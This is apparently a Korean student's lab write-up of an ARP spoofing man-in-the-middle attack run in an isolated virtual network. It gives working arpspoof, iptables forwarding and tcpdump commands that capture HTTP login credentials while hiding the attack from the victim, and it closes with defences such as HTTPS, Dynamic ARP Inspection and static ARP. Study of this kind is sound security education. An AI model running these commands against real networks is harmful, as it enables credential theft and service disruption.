반응형
| ※ 이 과정은 외부와 격리된 독립적인 가상 네트워크 내에서 실습 하였습니다 주제 OSI 7계층 중 2계층(데이터 링크 계층)의 취약점을 이용한 ARP 스푸핑 공격 분석 목적 ARP 프로토콜의 인증 부재라는 구조적 결함을 이해하고, 암호화되지 않은 HTTP 통신의 위험성을 실증함 공격 메커니즘 - ARP의 허점: ARP는 응답을 요청한 적이 없어도 들어오는 APR Reply 패킷을 그대로 수용하여 자신의 ARP 테이블을 업데이트함 - MAC 주소 변조: 공격자(ex. WAS)가 게이트웨이의 IP와 자신의 MAC 주소를 매칭시킨 가짜 패킷을 지속적으로 뿌려 피해자의 2계층 주소 결정 과정을 교란함 네트워크 구성도 Attacker(WAS): 192.168.11.12 Victim(WEB): 192.168.11.11 Gateway(Router): 192.168.11.13 |


| 웹 서버 1. 웹서버에서 게이트웨이의 진짜 MAC 주소를 확인 한다 # ip neigh show 192.168.11.13 192.168.11.3 dev ens160 lladdr 00:50:56:c0:00:08 DELAY 192.168.11.13 dev ens160 lladdr 00:50:56:3d:9a:ff REACHABLE - 진짜 게이트웨이 192.168.11.1 dev ens160 lladdr 00:50:56:ee:1c:02 REACHABLE ![]() WAS 서버 2. # ip addr 로 확인 inet 192.168.11.12/24 brd 192.168.11.255 scope global noprefixroute ens160 valid_lft forever preferred_lft forever inet6 fe80::250:56ff:fe3a:5e0b/64 scope link noprefixroute valid_lft forever preferred_lft forever * brd 192.168.11.255 (브로드캐스트): 이 동네에 있는 모든 컴퓨터에게 한꺼번에 외칠 때 사용하는 광고용 주소 * scope global: 이 IP가 이 서버 내에서만 쓰는게 아니라, 네트워크 전체에서 유효하다는 뜻 3. 공격 실행 (서비스 차단 목적이므로 포워딩은 꺼놓는다) ![]() echo 0 > /proc/sys/net/ipv4/ip_forward -> 패킷 전달 기능을 끔 # arpspoof 실행 sudo yum install epel-release -y - 해킹 도구 모음인 dsniff 패키지를 설치함 sudo yum makecache sudo yum install dsniff -y - 해킹 도구 모음인 dsniff 패키지를 설치함 arpspoof -i ens160 -t 192.168.11.11 192.168.11.13 - 웹 서버(11.11)에게 "내(was 서버)가 게이트웨이(11.13)야 라고 속인다 * 웹 서버는 속아서 외부로 나가는 모든 패킷을 진짜 게이트웨이가 아닌 공격자 PC로 던지게 된다 0:50:56:3a:5e:b (공격자: WAS의 MAC 주소) 0:50:56:3e:b0:3e (희생자: 웹 서버의 MAC 주소) ![]() ![]() 4. 결과 확인 # ip neigh show를 입력하여 처음 맥주소와 비교해보기 WAS 서버에서의 맥주소와 WEB 서버에서 맥주소가 같기 때문에 패킷을 계속 던지고, 패킷은 공격자의 PC로 들어가게 된다 * 라우터에 2개 게이트웨이 설정을 해주었기 때문에 # ip link set ens224 down 복구 # ip link set ens224 up 이 결과까지 로그인이 안되는 상태로 만들어 놓았고, 이제부터 로그인은 되지만 패킷을 중간에서 가로채는 스니핑을 실습함 홈페이지를 처음으로 돌려놓는 명령어 들을 먼저 입력해야 한다 웹 서버도 잘못 기억된 게이트웨이의 mac 주소 강제 삭제 # sudo ip neigh flush all # ping -c 4 192.168.11.13 - 라우터로 직접 핑을 쏜다. 이 과정에서 진짜 MAC 주소를 다시 학습 한다 # ping -c 4 8.8.8.8 - 이제 외부로 핑을 날려서 외부망 연결을 확인 한다 # systemctl restart httpd - 웹 서비스 공격 여파로 멈춰있을 수 있어서 웹 서비스 상태 확인 및 재시작 # systemctl stop firewalld - 공격 테스트 중에 방화벽이 외부 접속 차단했을 수 있음 # curl -I http://localhost - HTTP/1.1 200 OK 가 나오면 서버는 멀쩡한 것 -> 네트워크/ARP 문제 WAS 서버(11.12) 에서 다시 세팅 [터미널 1] 1. 포워딩 확실히 켜기 # echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward 2. 방화벽 규칙 초기화 (깨끗하게 비우기) # sudo iptables -F # sudo iptables -t nat -F 3. 가로챈 패킷을 외부로 던져주는 핵심 설정 # sudo iptables -t nat -A POSTROUTING -o ens160 -j MASQUERADE * 가로챈 패킷이 외부망으로 나갈 때 공격자의 IP를 거친 것을 숨긴다 (MASQUERADE) # sudo iptables -P FORWARD ACCEPT * 포워딩 정책 허용: 방화벽에서 패킷이 통과(FORWARD)하는 것을 최종적으로 승인 한다 4. 공격 개시 (WEB에게 내가 게이트웨이라고 속임) # arpspoof -i ens160 -t 192.168.11.11 192.168.11.13 [터미널 2] 2차 공격 # arpspoof -i ens160 -t 192.168.11.13 192.168.11.11 (게이트웨이에 내가 WEB 서버라고 속임) [터미널 3] 패킷 탈취 HTTP POST 데이터(ID/PW)를 실시간으로 텍스트로 출력 # sudo tcpdump -i ens160 -A -vv 'tcp port 80 and (tcp[((tcp[12:1]&0xf0)>>2):4] = 0x504f5354)' - 데이터가 지나갈 때 아이디와 비번만 골라냄 * 패킷 캡처: ens160 인터페이스로 들어오는 80번 포트(HTTP) 데이터를 감시함 * -A: 패킷 내용을ASCII 텍스트로 출력함 * -vv: 상세한 로그 정보를 출력함 * 'tcp[12:1]...': TCP 헤더를 분석하여 데이터 시작 부분의 'POST' 문자열( 0x504f5354) 만 필터링함 ![]() 그 후 터미널 1,2에서 명령어 출력을 멈추고, 아이디와 비밀번호를 홈페이지에 입력하면 공격자는 아이디, 비밀번호 스니핑이 가능하다 |
| 보안 대책 단순 ARP Spoofing으로 실습을 끝내지 않고, 해결책을 제시하여 근본적인 문제를 해결 합니다 1. 서비스 계층: HTTP 대신 TLS/SSL이 적용된 HTTPS 프로토콜 사용을 권장함 2. 네트워크 계층: 스위치 장비에서 DAl (Dynamic ARP Inspection) 또는 Port Security 설정을 적용함 3. 호스트 계층: 중요 서버의 게이트웨이 ARP 정보를 Static(정적)으로 고정함 결론 본 프로젝트를 통해 OSI 7계층 중 2계층(Data Link Layer) 의 보안 취약성이 상위 계층의 서비스에 얼마나 치명적인 영향을 미칠 수 있는지 실증 하였습니다 1. 2계층 보안의 중요성 확인: ARP 프로토콜의 인증 부재라는 근본적인 설계 결함은 로컬 네트워크 내에서 누구나 중간자 공격(MITM)을 수행할 수 있는 환경을 제공 합니다 2. 암호화 통신의 필수성: 2계층에서의 주소 변조가 발생하더라도, 7계층에서 HTTPS(SSL/TLS) 와 같은 암호화 프로토콜을 사용했다면 실제 데이터(ID, PW) 유출은 방어할 수 있었을 것 입니다 3. 다층 방어의 필요성: 네트워크 장비 보안(DAI), 호스트 관리(Static ARP), 어플리케이션 암호화(HTTPS) 가 병행되는 계층별 보안 전략이 필수적 입니다 |
| 참고사항 * 양방향 ARP 스푸핑 공격 터미널 1 공격: 피해자(11.11)에게 "11.13의 MAC은 MAC_Attacker다"라고 알림 터미널 2 공격: 게이트웨이(11.13)에게 "11.11의 MAC은 MAC_Attacker다"라고 알림 ---> 모든 패킷은 물리적으로 공격자(Attacker)의 인터페이스로 먼저 도착하게 된다 피해자 ---> 외부망 패킷 가로채기 1. 피해자: 외부(예시.네이버)로 데이터를 보내려고 함. 목적지 IP는 외부 주소지만, 2계층 목적지 MAC 주소는 본인 테이블에 적인 MAC_Attacker를 입력함 2. 공격자 수신: 자신의 MAC주소로 온 패킷이므로 수신함. 이 때 tcpdump 가 패킷 내부의 ID/PW를 읽음 3. 포워딩: ip_forward 설정에 의해 공격자는 이 패킷을 실제 게이트웨이로 전달함 외부망 ---> 피해자 응답 가로채기 1. 게이트웨이: 외부에서 온 응답을 피해자에게 돌려주려 함. 본인 테이블에 적힌 11.11의 MAC_Attacker를 입력함 2. 공격자 수신: 다시 공격자의 인터페이스로 패킷이 들어옴 3. 포워딩: 공격자는 이 패킷을 다시 실제 피해자에게 전달함 1. 피해자가 외부로 보내는 데이터(Request) 피해자가 브라우저 주소창에 osi7.sbl 을 치고, 아이디, 비번을 입력한 뒤 로그인 버튼을 누르는 순간 발생 하는 데이터 구체적인 예시: HTTP POST 데이터 특징: 이 데이터 안에 공격자가 낚아채고자 하는 아이디, 비밀번호 등의 핵심정보가 들어 있다. 공격자는 이 패킷을 수신해서 tcpdump로 화면에 출력한 뒤, 원본 그대로 게이트웨이에 던져준다 2. 게이트웨이가 외부에서 받은 응답(Response) 웹 서버가 공격자를 거쳐온 로그 패킷을 확인하고, "이 사람 비번 맞네!"라고 판단해서 보내주는 데이터 구체적인 예시: HTTP 200 OK 내용: 로그인 후 보여줄 메인 화면의 HTML 코드, 이미지 파일, 세션 쿠키 정보 특징: 이 응답이 피해자에게 무사히 전달되어야 피해자 화면에 "로그인에 성공했습니다" 라는 메세지가 뜬다 3. 공격자가 실제 피해자에게 전달하는 패킷 공격자가 게이트웨이로부터 받아서 피해자에게 다시 던져주는 패킷은 로그인 성공을 알리는 응답 패킷이다 전달하는 이유: 패킷을 전달하지 않고, 공격자 선에서 버리면 피해자 브라우저는 계속 무한 로딩에 빠지거나 사이트에 연결할 수 없음 오류를 뱉는다. 홈페이지 로그인이 잘되게 하는 것이 바로 이 포워딩의 목적이다. 그래야 피해자는 해킹당했다는 사실을 눈치채지 못하고 정상적으로 서비스를 이용하게 된다 |
'Infra & Security Eng > Semi Project' 카테고리의 다른 글
| 세미 프로젝트 - OSI 7계층 취약점 분석: 6계층(표현 계층) - SSL/TLS 암호화 프로토콜 다운그레이드 공격 - 공부용 (0) | 2026.02.25 |
|---|---|
| 세미 프로젝트 - OSI 7계층 취약점 분석: 5계층 Session Fixing(세션 고정) (보고서작성용x, 공부용) (0) | 2026.02.25 |
| 세미 프로젝트 - OSI 7계층 취약점 분석: 4계층 TCP RST(Reset) Attack 공격 실증 (0) | 2026.02.24 |
| 세미 프로젝트 - OSI 7 Layer 단계별 취약점 분석: 3계층 IP Spoofing을 이용한 데이터 탈취 실증 (0) | 2026.02.24 |
| 세미프로젝트 - 각 서버 네트워크 설정 하기 (0) | 2026.02.13 |




